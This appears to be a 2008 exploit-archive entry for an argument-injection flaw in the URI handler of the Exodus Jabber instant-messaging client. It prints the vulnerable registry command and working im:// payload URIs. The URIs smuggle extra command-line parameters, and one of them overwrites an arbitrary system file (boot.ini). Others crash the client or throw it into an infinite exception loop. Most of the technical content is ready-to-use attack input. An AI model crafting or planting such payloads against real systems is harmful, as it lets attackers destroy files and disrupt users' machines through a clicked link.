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Exodus 0.10 (uri handler) Arbitrary Parameter Injection Vulnerability

Author
Nine:Situations:Group
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9306
Category
remote exploits
Date add
17-11-2008
Platform
unsorted
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Exodus 0.10 (uri handler) Arbitrary Parameter Injection Vulnerability
=====================================================================

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Exodus v0.10 uri handler arbitrary parameter injection
by Nine:Situations:Group::strawdog
tested against IE8b/xpsp3
may not work against non-English systems because of an installation bug
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software site: http://code.google.com/p/exodus/
description:
Exodus is a free software instant messaging client developed by Peter
Millard and written in Borland Delphi that can connect to Jabber servers
and exchange messages with other Jabber users. Currently, binaries are
only available for Microsoft Windows. Exodus was designed as the official
successor of the Winjab client, as Winjab was a personal project that
was becoming too difficult to maintain[..]
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reg key:
HKEY_CLASSES_ROOT\im\shell\Open\command
C:\Program Files\Exodus\Exodus.exe -u '%1'
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it's possible to inject arbitrary command line parameters, ex. this shows
the argument list:
im:///'%20-?

this overwrites an arbitrary file:
im:///'%20-l%20c:\boot.ini%20-v

now boot.ini looks like this:
[2008-11-17 13.50.41.437]  Trying to setup the Auto Away timer.
[2008-11-17 13.50.41.453]  Using Win32 API for Autoaway checks!!
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todo:
investigate this even:
im:///'%20-c%20[A*300]

this will cause an infinite loop trough multiple unhandled exceptions
and this:
im:///'%20-c%20file:///aaaa%20
crash exodus.exe
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